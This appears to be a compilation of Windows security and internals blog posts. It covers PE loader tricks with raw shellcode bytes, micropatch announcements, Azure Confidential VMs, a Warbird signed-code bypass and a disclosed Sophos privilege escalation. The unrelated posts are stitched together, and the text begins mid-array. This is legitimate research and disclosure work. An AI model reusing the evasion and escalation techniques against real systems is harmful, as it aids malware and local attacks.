	0xD2, 0x74, 0x5B, 0x48, 0x8B, 0xD7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00,
	0x0F, 0xB7, 0x0A, 0x41, 0x3B, 0xC9, 0x74, 0x0D, 0xFF, 0xC0, 0x48, 0x83,
	0xC2, 0x02, 0x41, 0x3B, 0xC2, 0x72, 0xED, 0xEB, 0x3D, 0x44, 0x8B, 0x44,
	0x85, 0x00, 0x4C, 0x03, 0xC3, 0x74, 0x33, 0x41, 0x0F, 0xB6, 0x00, 0x33,
	0xD2, 0xB9, 0x05, 0x15, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x24, 0x66, 0x90,
	0x6B, 0xC9, 0x21, 0x8D, 0x52, 0x01, 0x0F, 0xBE, 0xC0, 0x03, 0xC8, 0x42,
	0x0F, 0xB6, 0x04, 0x02, 0x84, 0xC0, 0x75, 0xEC, 0x81, 0xF9, 0xB4, 0x14,
	0x4F, 0x38, 0x75, 0x06, 0x45, 0x8B, 0x3B, 0x4C, 0x03, 0xFB, 0x41, 0xFF,
	0xC1, 0x49, 0x83, 0xC3, 0x04, 0x44, 0x3B, 0xCE, 0x72, 0x92, 0x45, 0x33,
	0xC9, 0xC7, 0x44, 0x24, 0x20, 0x54, 0x65, 0x73, 0x74, 0x4C, 0x8D, 0x44,
	0x24, 0x20, 0xC6, 0x44, 0x24, 0x24, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20,
	0x33, 0xC9, 0x41, 0xFF, 0xD7, 0xBA, 0x7B, 0x00, 0x00, 0x00, 0x48, 0xC7,
	0xC1, 0xFF, 0xFF, 0xFF, 0xFF, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0x5C, 0x24,
	0x60, 0x48, 0x8B, 0x6C, 0x24, 0x68, 0x48, 0x8B, 0x74, 0x24, 0x70, 0x48,
	0x8B, 0x7C, 0x24, 0x78, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5F, 0x41, 0x5E,
	0x41, 0x5C, 0xC3

As a side note, several readers have asked how I created this sample code (previously used in another project) which works correctly in both 32-bit and 64-bit modes. The answer is very simple: it begins by storing the original stack pointer value, pushes a value onto the stack, and compares the new stack pointer to the original value. If the difference is 8, the 64-bit code is executed - otherwise, the 32-bit code is executed. While there are certainly more efficient approaches to achieve this outcome, this method is sufficient for demonstration purposes:

mov eax, esp	; store stack ptr
push 0		; push a value onto the stack
sub eax, esp	; calculate difference
pop ecx		; restore stack
cmp eax, 8	; check if the difference is 8
je 64bit_code

By appending this payload to the original headers above, we can generate a valid and functional EXE file. The provided PE headers contain a hardcoded SizeOfImage value of 0x100000 which allows for a maximum payload size of almost 1MB, but this can be increased if necessary. Running this program will display our message box, despite the fact that the PE headers lack any executable sections, or any sections at all in this case:

Demonstration #2 - Executable PE with spoofed sections

Perhaps more interestingly, it is also possible to create a fake section table using this mode as mentioned earlier. I have created another EXE which follows a similar format to the previous samples, but also includes a single read-only section:

The main payload has been stored within this read-only section and the entry-point has been updated to 0x1000. Under normal circumstances, you would expect the program to crash immediately with an access-violation exception due to attempting to execute read-only memory. However, this doesn’t occur here - the target memory region contains RWX permissions and the payload is executed successfully:


The sample EXE files can be downloaded here.

The proof-of-concepts described above involve appending the payload to the end of the NT headers, but it is also possible to embed executable code within the headers themselves using this technique. The module will fail to load if the AddressOfEntryPoint value is less than the SizeOfHeaders value, but this can easily be bypassed since the SizeOfHeaders value is not strictly enforced. It can even be set to 0, allowing the entry-point to be positioned anywhere within the file.

It is possible that this feature was initially designed to allow for very small images, enabling the headers, code, and data to fit within a single memory page. As memory protection is applied per-page, it makes sense to apply RWX to all PTEs when the virtual section size is lower than the page size - it would otherwise be impossible to manage protections correctly if multiple sections resided within a single page.

I have tested these EXE files on various different versions of Windows from Vista to 10 with success in all cases. Unfortunately it has very little practical use in the real world as it won’t deceive any modern disassemblers - nonetheless, it remains an interesting concept.

Micropatches Released For Remote Code Execution in Windows OLE (CVE-2023-29325)



May 2023 Windows Updates brought a fix for CVE-2023-29325, a remote code execution vulnerability in Microsoft OLE (Object Linking and Embedding). The vulnerability was reported to Microsoft by Will Dormann with Vul Labs.

Will found that two of the many COM objects installed on every Windows system by default merely have to be referenced by their respective CLSIDs in a rich text email for Outlook to experience an access violation exception.

There is almost no public information on what these two COM objects were intended to do on a Windows system, but since Microsoft's fix was to block them, they probably aren't essential to any important operation. While Microsoft appears to have blocked these offensive/vulnerable COM objects via COM activation filter, they provided no remedy for unsupported Windows versions such as Windows 7 or older Windows 10. Furthermore, still-supported Office versions were also patched to prevent usage of these two COM objects, but older versions like 2010 or 2013 weren't.

For our users of older Office versions on older Windows systems we therefore had to create a patch of our own.

Our patch does effectively the same as Microsoft's does on still-supported Office versions: if a COM object is referenced with one of the "offending" CLSIDs, object activation is prevented and instead of instantiating such object, Office just writes out the CLSID and the associated DLL name.

Let's see our micropatch in action. With 0patch disabled, opening a POC email immediately crashes Outlook. With 0patch enabled, Outlook displays an email with CLSID printed out in the body, but doesn't crash.

Micropatch Availability

Our micropatch was written for the following security-adopted versions of Office with all available updates installed:

  1. Office 2010
  2. Office 2013 
This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). No restart was needed, and Office got patched without relaunching even if it was running at the time.

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Will Dormann for sharing vulnerability details, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.


Confidential VMs on Azure

Microsoft’s’ virtualization stack, which powers the Microsoft Azure Cloud, is made up of the Microsoft hypervisor and the Azure Host OS. Security is foundational for the Azure Cloud, and Microsoft is committed to the highest levels of trust, transparency, and regulatory compliance (see Azure Security and Hypervisor Security to learn more). Confidential VMs are a new security offering that allow customers to protect their most sensitive data in use and during computation in the Azure Cloud.


In this blog we’ll describe the Confidential VM model and share how Microsoft built the Confidential VM capabilities by leveraging confidential hardware platforms (we refer to the hardware platform as the combination of the hardware and architecture specific firmware/software supplied by the hardware vendor). We will give an overview of our goals and our design approach and then explain how we took steps to enable confidential VMs to protect their memory, as well as to provide them secure devices like a vTPM, to protect their execution state and their firmware, and lastly to allow them to verify their environment through remote attestation.

What is Confidential VM?

The Confidential Computing Consortium defines confidential computing as “the protection of data in use by performing computation in a hardware-based, attested Trusted Execution Environment (TEE)”, with three primary attributes for what constitutes a TEE: data integrity, data confidentiality, and code integrity1. A Confidential VM is a VM executed inside a TEE, “whereby code and data within the entire VM image is protected from the hypervisor and the host OS 1. As crazy as this sounds – a VM that runs protected from the underlying software that makes its very existence possible – a growing community is coming together to build the technologies to make this possible.


For confidentiality, a Confidential VM requires CPU state protection and private memory to hold contents that cannot be seen in clear text by the virtualization stack. To achieve this, the hardware platform protects the VM’s CPU state and encrypts its private memory with a key unique to that VM. The platform further ensures that the VM’s encryption key remains a secret by storing it in a special register which is inaccessible to the virtualization stack. Finally, the platform ensures that VM private memory is never in clear text outside of the CPU complex, preventing certain physical attacks such as memory bus snooping, cold-boot attacks, etc. 


For integrity, a Confidential VM’s requires integrity protection to ensure its memory can only be modified by that VM. To achieve this, the hardware platform both protects the contents of the VM’s memory against software-based integrity attacks, and it also verifies address translation. The latter serves to ensure that the address space layout (memory view) of the VM can only be changed with the cooperation and agreement of the VM.



An overview of our approach to Confidential VMs

As a type 1 hypervisor, Microsoft’s hypervisor runs directly on the hardware and all operating systems, including the host OS, run on top of it. The hypervisor virtualizes resources for guests and controls capabilities that manage memory translations. The host OS provides functionality for VM virtualization including memory management (i.e., providing guest VMs interfaces for accessing memory), and device virtualization (i.e., providing virtual devices to guest VMs) to run and manage guest VMs.




Since they take care virtualizing and assigning resources to guest VMs, all virtualization stacks up until recently assumed full access to guest VM state, but we completely evolved Microsoft's virtualization stack to break those assumptions to be able to support running Confidential VMs. We set a boundary to protect the guest VM from our virtualization stack, and we leverage different hardware platforms to enforce this boundary and help guarantee the Confidential VM’s attributes. Azure Confidential VMs today leverage the following hardware platforms: AMD SEV-SNP (generally available) and Intel TDX (in preview).


We wanted to enable customers to lift and shift workloads with little or no effort, so one of our design goals was to support running mostly unmodified guest operating systems inside Confidential VMs. Operating systems were not designed with confidentiality in mind, so we created the guest paravisor to bridge between the classic OS architecture and the need for confidential computing. The guest paravisor implements the TEE enlightenments on behalf of the guest OS so the guest OS can run mostly unmodified, even across hardware platforms. This can be viewed as the “TEE Shim” 1. You can think of the guest paravisor as a firmware layer that acts like a nested hypervisor. A guest OS that is fully enlightened (modified) to run as a Confidential guest can run without a guest paravisor (this is also supported in Azure today but out of scope for this blog).


VBS lets a VM have multiple layers of software at different privilege levels. We decided to extend VBS to allow us to run the guest paravisor in a more privileged mode than the guest OS in a hardware platform-agnostic manner, using the hardware platform's confidential guest privilege levels. Because of this privilege separation, the guest OS and UEFI don’t have access to secrets held in guest paravisor memory. Our model allows the paravisor to provide a Confidential VM privilege-separated features including Secure Boot and its own dedicated vTPM 2.0. We’ll cover the benefits of these features in the attestation section.


On the guest OS side, we evolved the device drivers (and other components) to enable both Windows and Linux guest operating systems to run inside Confidential VMs on Azure. For the Linux guest OS, we collaborated with the Linux kernel community and with Linux distros such as Ubuntu and SUSE Linux. A Confidential VM turns the threat model for a VM upside-down: a core pillar of any virtualization stack is protecting the host from the guest, but with Confidential VMs there is a focus on protecting the guest from the host as well. This means that guest-host interfaces must also evolve to break previous assumptions. We therefore analyzed and updated these interfaces, including the guest device drivers themselves, to take a defensive posture that examines and validates data items coming from the host (e.g., ring buffer messages). This was one of the design principles for our paravisor, as it allowed us to move logic from the host into the guest to simplify the guest-host interfaces to be better able to protect the guest. We continue to further evolve these interfaces to continuously improve the defensive model of Confidential VMs.


Memory Protections

Two types of memory exist for Confidential VMs, private memory where computation is done by default and shared memory to communicate with the virtualization stack for any purpose, e.g., device IO. Any page of memory can be either private or shared, and we call this its page visibility. A Confidential VM should be configured appropriately to make sure that data that will go in a shared memory is protected (via TLS, BitLocker, dm-crypt, etc.).


All accesses use private pages by default, so when a guest wants to use a shared page, it must explicitly do this by managing page visibility. We evolved the necessary components (including the virtual device drivers in the guest that communicate with the virtual devices on the host via VMbus channels) to enable them to use our mechanism to manage page visibility. This mechanism essentially has the guest maintain a pool of shared memory. When a guest wants to send data to the host, for example to send a packet via networking, it allocates a bounce buffer from that pool and then copies that data from its private memory into the bounce buffer. The I/O operation is initiated against the bounce buffer, and the virtual device on the host can read the data.


The size of the pool of shared memory is not fixed; our memory conversion model is dynamic so that the guest can adapt to the needs of the workload. The memory used by the guest can be converted between private and shared as needed to support all the IO flows. Guest operating systems can choose to make use of our dynamic memory conversion model. The confidential computing platform prevents the hypervisor or anything other than the code inside the Confidential VM from making pages shared. Converting memory is therefore always initiated by the guest, and it kicks off both guest actions and host actions so that our virtualization stack can coordinate with the hardware platform to grant or deny the host access to the page.



Protecting Emulated Devices

For compatibility, the Azure Host OS provides emulated devices to closely mirror hardware, and our hypervisor reads and modifies a VM’s CPU state to emulate the exact behavior of the device. This allows a guest to use an unmodified device driver to interact with its emulated device. Since a Confidential VM’s CPU state is protected from our virtualization stack, it cannot use the emulated devices on the host OS anymore. As part of our goal to enable customers to run a mostly unmodified guest OS inside a Confidential VM, we didn’t want to eliminate emulated devices. Therefore, we decided to evolve our virtualization stack to support device emulation operating inside the guest instead of the host OS, so we moved emulated devices to the guest paravisor.



Protecting Runtime State

We believe a Confidential VM requires assurances about the integrity of its execution state, so we took steps to provide this protection to Confidential VM workloads. To support this, the hardware platform provides mechanisms to protect a Confidential VM from being vulnerable to unexpected interrupts or exceptions during its execution. Normally, our hypervisor emulates the interrupt controller (APIC) to generate emulated interrupts for guests. To help a guest OS running inside a Confidential VM handle interrupts defensively, the guest paravisor performs interrupt proxying, validating an interrupt coming from the hypervisor before re-injecting it into the guest OS. Additionally, with Confidential VMs there is a new exception type that needs to be handled by the guest VM instead of the virtualization stack. This exception is generated only by the hardware and is hardware platform specific. The paravisor can handle this exception on behalf of the guest OS for compatibility purposes as well.


Protecting Firmware

A guest VM normally relies on the host OS to store and provide its firmware state and attributes (UEFI variables). For Confidential VMs, we evolved guest firmware to get trusted UEFI attributes from a new VM Guest State file instead of from the host. This file is packaged as a VHD and can be encrypted before VM deployment to provide a Confidential VM access to persistent storage that is inaccessible to the host. The host only interacts with the encrypted VHD (E2E process for its encryption is out of scope for this blog).


In the same way, a guest VM normally relies on the host OS to implement authenticated UEFI variables to ensure that secure UEFI variables are isolated from the guest OS and cannot be modified without detection. To provide a Confidential VM authenticated UEFI variables that are secure from the host as well as the guest OS, the guest paravisor (running in the guest VM but isolated from the guest OS), manages authenticated UEFI variables. When a Confidential VM uses UEFI runtime services to write a variable, the guest paravisor processes the authenticated variable rights and persists that data in the VM Guest State file. Our design allows a Confidential VM to persistently store and access VM guest state and guest secrets (e.g., UEFI state and vTPM state) that are secure from the host as well as the guest OS.



Remote Attestation

According to the industry definition of confidential computing, any TEE deployment “should provide a mechanism to allow validation of an assertion that it is running in a TEE instance” through “the validation of a hardware signed attestation report of the measurements of the TCB” 1. An attestation report is composed of hardware and software claims about a system, and these claims can be validated by any attestation service. Attestation for a Confidential VM “conceptually authenticates the VM and/or the virtual firmware used to launch the VM” 1.


A Confidential VM cannot solely rely on the host to guarantee that it was launched on a confidential computing capable platform and with the right virtual firmware, so a remote attestation service must be responsible for attesting to its launch. Therefore, a Confidential VM on Azure always validates that it was launched with secure, unmodified firmware and on a confidential computing platform via remote attestation with a hardware root of trust. In addition to this, it validates its guest boot configuration thanks to Secure Boot and vTPM capabilities.


Once the partition for a Confidential VM on Azure is created and the VM is started, the hardware seals the partition from modification by the host, and a measurement about the launch context of the guest is provided by the hardware platform. The guest paravisor boots and performs attestation on behalf of the guest OS, requesting an attestation report from the hardware platform and sending this report to an attestation service. Any failures in this attestation verification process will result in the VM not booting.


After this, the guest paravisor transfers control to UEFI. During this phase Secure Boot verifies the startup components, checking their signatures before they are loaded. In addition to this, thanks to Measured boot, as these startup components are loaded, UEFI accumulates their measurements into the vTPM. If the OS disk is encrypted, the vTPM will only release the key to decrypt it if the VM’s firmware code and configuration, original boot sequence, and boot components are unaltered.



Call to Action

In this blog we described how in collaboration with our industry partners, we evolved our entire virtualization stack to empower customers to lift and shift their most sensitive Windows and Linux workloads into Confidential VMs. We also gave a deep technical overview of how we protect our customers’ workloads in these Confidential VMs. This is an innovative new area, and we want to share that journey with our customers who also want to move into this new Confidential Computing world. As you use Confidential VMs on Azure, we would love to hear about your usage experiences or any other feedback, especially as you think of other scenarios (in the enterprise or cloud).


- the Core OS Platform team.



1Common Terminology for Confidential Computing, December 2022, Confidential Computing Consortium.

Micropatches Released For "QueueJumper" Remote Code Execution in Microsoft Message Queuing (CVE-2023-21554)


April 2023 Windows Updates brought a fix for CVE-2023-21554, a remote code execution vulnerability in Microsoft Message Queuing Service. The vulnerability, nicknamed "QueueJumper" was reported to Microsoft by Wayne Low of Fortinet's FortiGuard Lab and Haifei Li with Check Point Research.

The first proof-of-concept became available on April 30, when Omair from Krash Consulting published it on GitHub. Another proof-of-concept by zoemurmure became available on May 18. Both of these made it possible for us to create a micropatch for this issue.

The vulnerability allows a remote unauthenticated attacker to cause memory corruption on a Windows computer running Microsoft Message Queuing Service, which can often be extended to executing arbitrary code on the computer. A detailed technical analysis (in Chinese) was provided by zoemurmure,

While still-supported Windows systems have already received the official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

Our patch prevents memory corruption in a similar way as Microsoft's. In this rare case, the vulnerable service must be restarted on Windows 10 in order for our patch to get applied because it employs the "arbitrary code execution" exploit mitigation that interferes with our operations. Mind you, Microsoft's patch requires a computer restart, but 0patch micropatches typically get applied without even relaunching vulnerable processes. This is not the case here, so make sure to restart the MSMQ service.

Let's see our micropatch in action. With 0patch disabled, the POC immediately crashes the Microsoft Message Queuing Service. With 0patch enabled, the attack doesn't work anymore because the invalid packet is detected and blocked by our patch.

Micropatch Availability

The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 10 v21H1
  2. Windows 10 v2004
  3. Windows 10 v1909
  4. Windows 10 v1809
  5. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
  6. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)
This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Omair from Krash Consulting and zoemurmure for sharing their POCs, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.


Writing a Debugger From Scratch - DbgRs Part 4 - Exports and Private Symbols

(New to this series? Consider starting from part 1) At the end of the last post, we had the ability to read memory out of the target process, but we still had very little in the way of interpreting the data in that process. That changes in this post, where we will start grabbing useful information out of the target, including modules, exports, and even private symbols. The code for this post is in the part4 branch on github.

Example of Windows Warbird Encryption/Decryption

Everything in this post was done on a Windows 10 22H2 machine. Kernel version was: 10.0.19041.2486


Microsoft Warbird is an undocumented encryption technology generally used for things relating to software licensing (DRM) and security mechanisms. There has been some, but not much, previous open source research. Some links which provide further insight:


In addition, Alex Ionescu talked about Warbird in depth during this presentation.

The Warbird technology is appears to be designed to be integrated at compile time, and could function either as an obfuscation approach on the existing code, or as some type of “enclave” block encryptor. This second approach is what this post will dive into.


There is a semi-undocumented system information class for NtQuerySystemInformation called SystemControlFlowTransition (0xB9) which when called ends up in the WbDispatchOperation function. Placing a breakpoint on this function will show that the sppsvc.exe process periodically calls this. More on this later. WbDispatchOperation will branch into several different functions depending on the operation value passed when calling NtQuerySystemInformation. The struct looks something like this:

typedef struct _WB_OPERATION
	ULONG Operation;
	PVOID Buffer;
    ... (operation dependent data)

These are the operations:

  • 1 = WbDecryptEncryptionSegment
  • 2 = WbReEncryptEncryptionSegment
  • 3 = WbHeapExecuteCall
  • 4 = non symbol name function
  • 5 = non symbol name function.
  • 6 = same as case 5
  • 7 = WbRemoveWarbirdProcess
  • 8 = WbProcessStartup
  • 9 = WbProcessModuleUnload
    Each one of these operations has some type of unique operation dependent data attached to the initial struct. Reversing the sppsvc.exe can give us hints on how these structures should be formatted and how they are called. The decrypt and re-encrypt steps can occur multiple times. The rough pseudocode based on sppsvc.exe for calling WbProcessStartup looks like this:
SystemInfo[0] = 8;                      // Operation (WbProcessStartup)

SystemInfo[1] = &buffer;
NtQuerySystemInformation(0xB9, SystemInfo, 0x10, NULL);

Where buffer:

    ULONG: 0,
    ULONG: 0x64,
    ULONG64: 0,
    ULONG: 0

The name WbProcessStartup seems to suggest that sometype this call does some form of initialization which is required before decrypting/reencrypting data. However, this does not appear to be the case, and the calls to decrypt/reencrypt seem to work without. The rough pseudocode based on sppsvc.exe for calling WbDecyptEncryptionSegment looks like this:

SystemInfo[0] = 1;                      // Operation

SystemInfo[1] = WarbirdPayload;         // At this point it is encrypted

SystemInfo[2] = PEBaseAddress;          // Base Address of the PE

SystemInfo[3] = 0x140000000;            // Image Base

SystemInfo[4] = UnknownLong64;          // Possibly something relating to encryption        

SystemInfo[5] = 0x2;                    // Unknown flags

result = NtQuerySystemInformation(0xB9, SystemInfo, 0x30u, NULL);

It’s important to note that the WarbirdPayload is actually embedded in the sppsvc.exe binary in a section named ?g_Encry. There are multiple of these sections.

Payload Format

For decryption (WbDecyptEncryptionSegment) the payload is in the format of WB_PAYLOAD structure.

typedef struct _WB_SEGMENT 
	ULONG Flags;
	ULONG Length;

typedef struct _FEISTEL_ROUND
	ULONG Three;
	ULONG Four;

typedef struct _WB_PAYLOAD {
	BYTE Hash[0x20];        // SHA 256 hash of the payload sha256(payload size - 0x20)

	ULONG TotalSize;		// Total size (includes all segments)

	ULONG Reserved;			// Set to 0

	ULONG PayloadRVA;		// Offset between start of payload struct and actual start of the data passed (WarbirdPayload) in the NtQuerySystemInformation call

	ULONG SecondStageRVA;	// Offset between start of second stage struct and actual start of the data passed (WarbirdPayload) in the NtQuerySystemInformation call

	ULONG SecondStageSize;	// Size of the UnknownData in DWORDs

	ULONG UnknownLong;		// Looks like this is reserved. Must be 0?

	ULONG64 ImageBase;		// PE image base

	BYTE Unknown2[0x8];		// Looks like this is reserved. Must be 0?

	ULONG64 FeistelKey;
	FEISTEL_ROUND Rounds[10];
	ULONG SegmentCount;		// Number of segments

	WB_SEGMENT Segments[1]; // Segment struct(s)


The most important field is the Segments, an array of WB_SEGMENT structures. These point (using RVA) to the encrypted blocks of code to be decrypted. The flags field in the WB_SEGMENT specify what protection the segment should be decrypted as. If any value is present, it is a PAGE_EXECUTE_READ else it is PAGE_READONLY.

How to Encrypt

As you may have noticed in the supported operations values, and from the description of the sppsvc.exe usage, there is no encrypt. This is most likely because this API is intended to be used only after a binary is compiled with the Warbird encrypted chunks. To get around this, you can use the WbReEncryptEncryptionSegment functionality to first decrypt some random data, replace that data with the bytes we want to encrypt. Then, reencrypt this same memory. If you then save this strucutre (the segment bytes as well as the payload structure) you can then have memory that when restored, can simply be decrypted.

The Mitigation

Note that sppsvc.exe is a Windows signed binary. This brings us to a problem. In Alex Ionescu’s talk he explained that part of the patch Microsoft made to fix the bug he found was only allow decryption of payloads that were signed by the Windows team at Microsoft. The kernel does this by calling ZwQueryVirtualMemory with the MemoryImageInformation class on the memory passed as the payload. Process Hacker’s NT headers have the structure for this undocumented memory class. The ImageFlags is then compared to ensure the memory was backed with the appropriate signature.

The Bypass

This however, is not a perfect mitigation as at runtime memory which has been backed by a PE with specific signatures can be modified simply by changing the existing virtual memory protections (RX to RW or RWX).

Putting it all Together

Here is a simplified view of how this whole process will work. The “code” resides within the address space of a signed image. WB Diagram

PoC Code

This PoC will simply follow the steps above. In summary, this will load a signed DLL as the scratch space, then decrypting, writing code, reencrypting, and finally decrypting again.

What is NtPssCaptureVaSpaceBulk


Just a quick post about something I found quite interesting. In Windows 10 version 2004+ (according to this) there is a new system call which caught my attention: NtPssCaptureVaSpaceBulk. Specifically the caputing “bulk” referenced in the name made me think it could be useful. Looking at the API in the kernel, I quickly noticed several calls using the PsProcessType type as the first parameter, so I looked at the prototype of NtQueryVirtualMemory and went from there. My Google searching skills discovered that there is no offical prototype for this function, and so my final definition looks like this:

NTSTATUS NtPssCaptureVaSpaceBulk(HANDLE ProcessHandle, 
        PVOID BaseAddress, 
        SIZE_T Length, 
        PSIZE_T ReturnLength);

The structure of BULK_MEMORY_INFORMATION is:

	ULONG QueryFlags;
	ULONG NumberOfEntries;
	PVOID MaxUserAddress;
	BYTE Reserved[0x18];
	PVOID LowestAddressFound;
	BYTE Reserved2[0x10];

As a side note: When creating this structure definition I remembered seeing similar Windows structs which has arrays as the last element but had it defined as a 1-length based, looking into this I found this post by Raymond Chen explaining why this is the case.

The QueryFlags member does not seem to be used except for being bitwise anded with 0xFFFFFFFC so only 1, 2, and 3 are valid. Again these are currently not used to control anything, but needs to be set or you’ll get STATUS_NOT_SUPPORTED. The main logic then follows which involves attaching to the provided process handle, re-calling itself in with the Zw variant of PssCaptureVaSpaceBulk, and then preforming a loop of NtQueryVirtualMemory. In the past, looping VirtualQuery(Ex) is essentially what developers had to do to query the memory of a process. That code would look something like this:

for (PVOID pMem = NULL; VirtualQueryEx(GetCurrentProcess(), pMem, &memInfo, sizeof(memInfo)) == sizeof(memInfo); (BYTE*)pMem += memInfo.RegionSize)
	printf("Region: %p\n", memInfo.BaseAddress);

But now you can do something like this:

SIZE_T nReturn;
SIZE_T nHeap = 0x1000;
PBULK_MEMORY_INFORMATION pBulk = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nHeap);
pBulk->QueryFlags = 0x1;
while (NtPssCaptureVaSpaceBulk(GetCurrentProcess(), 0, pBulk, nHeap, &nReturn))
	HeapFree(GetProcessHeap(), 0, pBulk);
	nHeap += 0x1000;
	pBulk = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, nHeap);
	pBulk->QueryFlags = 0x1;
for (size_t i = 0; i < pBulk->NumberOfEntries; i++)
	printf("Mem: %p\n", pBulk->MemoryInfo[i].BaseAddress);

Is it more complicated? Yes. Why use it? I’m not sure, but maybe in the future the query flags will be able to gather different information. For now it is simply appears to be a redundent way to capture the entire virtual address space of a process.

The Win32k Import Mystery

The Crash

This all began when I was playing around with the PE file format and ended up tinkering with the loading process of drivers. Upon loading a particularly simple driver the OS crashed with the following error:


The stack clearly shows the bugcheck occuring within the driver loading process.


I instantly suspected that the issue was with the imports as the driver I loaded only imported functions from Win32k.



Peering through the callstack functions I found that MiResolveImageReferences appeared to be the one with the logic I was interested in. To summerize the function:

1. Uses RtlImageDirectoryEntryToData to find the import directory (IMAGE_DIRECTORY_ENTRY_IMPORT) of the loading driver PE

2. Finds first module to resolve addresses from. In this case it is Win32k.sys

3. Walks the PsLoadedModuleList looking for the module using RtlEqualUnicodeString

4. Once found, MiSessionReferenceImage is called with the the module (Win32k) address as its only argument

5. MiSessionReferenceImage immediately calls MiSessionLookupImage and passes the address

6. Inside MiSessionLookupImage the current process’ EPROCESS structure is derferenced, followed by the Session memeber

7. In this case, the Session member is null

8. There is no check. The Session member is derefereced (+0x58) and the system crashes

While testing other drivers, I found that the Session member always appears to be null as the loading context takes place in the System process. However, while other drivers do trigger MiResolveImageReferences, they never reach MiSessionReferenceImage. That is until I looked at drivers loaded at boot time. The inital loaded of the Win32k* drivers do reach MiSessionReferenceImage, however they have a valid Session member in thier EPROCESS. This appears to be due to the fact that they are loaded by csrss.exe and not the actual system (PID 4) process.

Further Information

In the end, I could’ve learned all this from a StackOverflow anwser which explains the results I was seeing. In addition, the csrss process loads the Win32k* drivers in the current session. The system process is not part of that session. The API called is not NtLoadDriver, but rather NtSetSystemInformation using a special infromation class seen here. With this information, it appears that drivers, at least those loaded via NtLoadDriver, were never designed to import (in PE loader terms) functions from Win32k. Perhaps in past Windows versions it was possible. Another mystery solved?

When Downloads Lead to LPE


In the world of privlige escalation, 3rd party elevated service programs are espically interesting to look at. One such program is Sophos’ HitmanPro.Alert (HMPA). This program is designed to work with an additional AV product to provide “advanced” detection and prevention capabilities against malware and exploits.

However, this HMPA became interesting when I observed this message in my kernel debugger:


Just from this message there are a couple of issues I had to research. Are downloads really over HTTP? What does an update look like (full exe or just dll plugin)? Is the directory really a low privileged controlled directory? Using Wireshark I was able to identify that the downloads were really HTTP (they use URLDownloadToFile). Secondly, using a proxy I was able to get a file to appear in user’s temp directory. The “update” is just the full hmpalert.exe (yes, the one that is downloaded when you first install). Depending on which flag was used in the command line /service for the service, /tray for the tray icon and user interactive version, etc… But they are all the same executable.

After fiddling with the proxy server, I discovered the service will execute whatever file you give it, as long as it is digitally signed. It’s important to note that ANY signer is accepted. This means that anyone with a couple hundered bucks and a “valid” company someone could spoof updates. The only issue is that update checks only happen on startup and ~60 minutes. While the possiblity of RCE is interesting, I was looking for LPE and discovered something else. The “Scan” feature of HMPA actually donwloads HitmanPro (not Alert) from which could also be spoofed. This however, can be triggerd at any time because the /tray instance of HMPA listens for window messages.


The actual communication with the /service instance takes place over named pipes, but simply broadcasting to all windows with SendMessage with the proper Msg and Param allows for any user to trigger a download and run (under SYSTEM user) of the scanner. Because the program is downloaded to the current user’s temp directory (like the update) I figured DLL hijacking would work. However, the scanner program by Sophos was very careful to only load libraries from System32. Everything then changed when I realized that the downloading of the scanner took place in the /tray instance which meant that a local proxy could work to spoof the downloads. Using InternetSetOption with approprite flags, a user can set the global proxy which applies to all processes running as that user (so not SYSTEM processes).

Results and Fix

In the end, the PoC I sent to Sophos did the following:

1. Clears download cache

2. Starts server and sets global proxy

3. Broadcast’s scan message to all windows

4. Feeds cmd.exe (or any signed binary) to client

The client /tray then notifys the /service which executes as SYSTEM the signed binary. Because any signed binary is allowed, a DLL hijacking, or simply getting a certificate could led to LPE for custom code. I worked with Sohpos’ PSIRT to fix the issue. They published an advisory which can be found here. In addition, I’ve uploaded the PoC code which can be downloaded here. To my knowledge Sophos fixed the problem by only executing images signed by their certificate.